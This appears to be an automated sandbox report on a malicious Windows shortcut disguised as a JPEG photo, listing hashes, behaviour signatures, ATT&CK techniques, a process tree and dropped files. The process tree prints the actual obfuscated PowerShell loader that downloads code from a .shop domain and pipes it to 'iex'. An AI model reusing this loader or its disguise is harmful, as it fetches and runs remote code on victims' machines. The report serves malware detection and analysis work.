af67cf34c0a0baaf4ec195d3d02e1e4a1f2ed15d845cfedd0f7ecbb76f9dbf97

Analysis

max time kernel
148s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
29/07/2026, 07:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260728_192848.jpg.lnk
Size 1KB
Sample260729-jdvvtsyble
SHA256 af67cf34c0a0baaf4ec195d3d02e1e4a1f2ed15d845cfedd0f7ecbb76f9dbf97
MD5 3cef9ca9d60d19bc2cdf4371ebf3b16f
SHA1 6ee718e9a297b2affc8a3da87c1c5b272eb07692
SHA512 fe36fc1630decdd190e94c0e09d80751a6a3234c0cde5fb4dba658d61949e02358f80e6ff73ab17a3bc176d4d9152dd42a225c0f050a07412a012023b468cec6
TLSH
T11B21AC255BF20368D6BB8B7958B6631187327A1EDB49CFDF0290C2949964121F878F3B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	4424	powershell.exe
8	4424	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3368	cmd.exe

Suspicious behavior: EnumeratesProcesses 43 IoCs

pid	Process
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4424	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3368 wrote to memory of 4424	3368	cmd.exe	90
PID 4424 wrote to memory of 4632	4424	powershell.exe	91
PID 4632 wrote to memory of 3044	4632	csc.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260728_192848.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('tayno','otoins','servph','.shop','w','re')[5,2,1,0,4,3] -join $aaVT0a) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4424
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\q4wcrugk\q4wcrugk.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4632
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5903.tmp" "c:\Users\Admin\AppData\Local\Temp\q4wcrugk\CSC6EBA58D7A019421FBB204EF2A61EBC71.TMP"
      4⤵
      PID:3044

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES5903.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES5903.tmp
Size 1KB
SHA256 b262b995e3d655971dad9b4779206fda5b113cbb457fc7a9369afb9148798d2e
MD5 8b54587f935306cdfc5b45027abd752b
SHA1 c3b84290600d9daf52a5342970367f9536dba928
SHA512 f7f9d932b6706b7bff0a2b9250efdd44ac0d09a82bcc4ff6a3c2767c1a8a23e6cf9a6f10f7951201864425620cd247d155a3385b0f2d67f878b41861534db608
TLSH
T19821EF05A3E9471FF0730732B9F6672FA634FD98EFA5A39A8540422C1C51504EEE0B72
MD5 SHA1 SHA512 TLSH

Submit Download

q4wcrugk.dll

Path C:\Users\Admin\AppData\Local\Temp\q4wcrugk\q4wcrugk.dll
Size 3KB
SHA256 d33793a111f6de283793d59510edd9d4eb01c9d29fac1dc665ee2898a4ea7abf
MD5 b09deaee686f880c397411af2a900277
SHA1 b39288fac244c995b19945185c8ec66cd998c562
SHA512 85b71ecc3056904a3e189acfe2f4749d7f641dbe70917c93166fe2efce2982f053b1ff8bd918061e1971450312792449cba7bbf8ed4c307f2047e2e8f0cf6bbf
TLSH
T1E351EA0693E8462BE4770731AEF3076737B4F8109FB653A95D800228AC20B545E31BB0
MD5 SHA1 SHA512 TLSH

Submit Download

CSC6EBA58D7A019421FBB204EF2A61EBC71.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\q4wcrugk\CSC6EBA58D7A019421FBB204EF2A61EBC71.TMP
Size 652B
SHA256 8a5cd3427adf943f8c504061085633377453c07b8d7c3ebcc65e00162a6fa8ca
MD5 585657bf3b6c40419887d1219f0cfeb1
SHA1 f6cc70bf244a374eca423f9136438861cbbb1149
SHA512 78fd7f42673e804df17f6dda15d801aa19e6cf8f8e85dd6db345d03029598673dc52364ed2ee548cb190b89d307e2aad4eee04d48a429e3828a357cff9e1365c
TLSH
T1F2F0BE4963F8420EF0F34B31BDF693B795A9BC65DE3693ED1850031928209148972FB2
MD5 SHA1 SHA512 TLSH

Submit Download

q4wcrugk.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\q4wcrugk\q4wcrugk.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

q4wcrugk.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\q4wcrugk\q4wcrugk.cmdline
Size 369B
SHA256 a433036456eb57875ac52578894db4de4e45d8c952f60a6a186ab062b55c5898
MD5 f93c92856841716280f1fbf49c5cd52b
SHA1 d9948efaa53157ae470823e2cefbca6e960a4fbc
SHA512 37a4d9dcc9255ad722a862bab68a8fac8761e0032485c2ff15097566b80ced542deb0d9f505d440dab1efc376b999e84a0b70123f9eff6907ea17a884d9a3fbc
TLSH
T1B3E0C02A7356C27D8EDF10072179C4ACE37207433B5A7F847840440DD0175002BD2781
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4424-16-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download

memory/4424-9-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download

memory/4424-11-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download

memory/4424-12-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download

memory/4424-13-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download

memory/4424-14-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download

memory/4424-15-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download

memory/4424-2-0x00007FFCD4EDF000-0x00007FFCD4EE0000-memory.dmp

Download

memory/4424-17-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download

memory/4424-18-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download

memory/4424-19-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download

memory/4424-10-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download

memory/4424-8-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download

memory/4424-32-0x000001AFEB980000-0x000001AFEB988000-memory.dmp

Download

memory/4424-7-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download

memory/4424-6-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download

memory/4424-5-0x000001AFEB9A0000-0x000001AFEB9C2000-memory.dmp

Download

memory/4424-33-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download

memory/4424-34-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download

memory/4424-35-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download

memory/4424-36-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download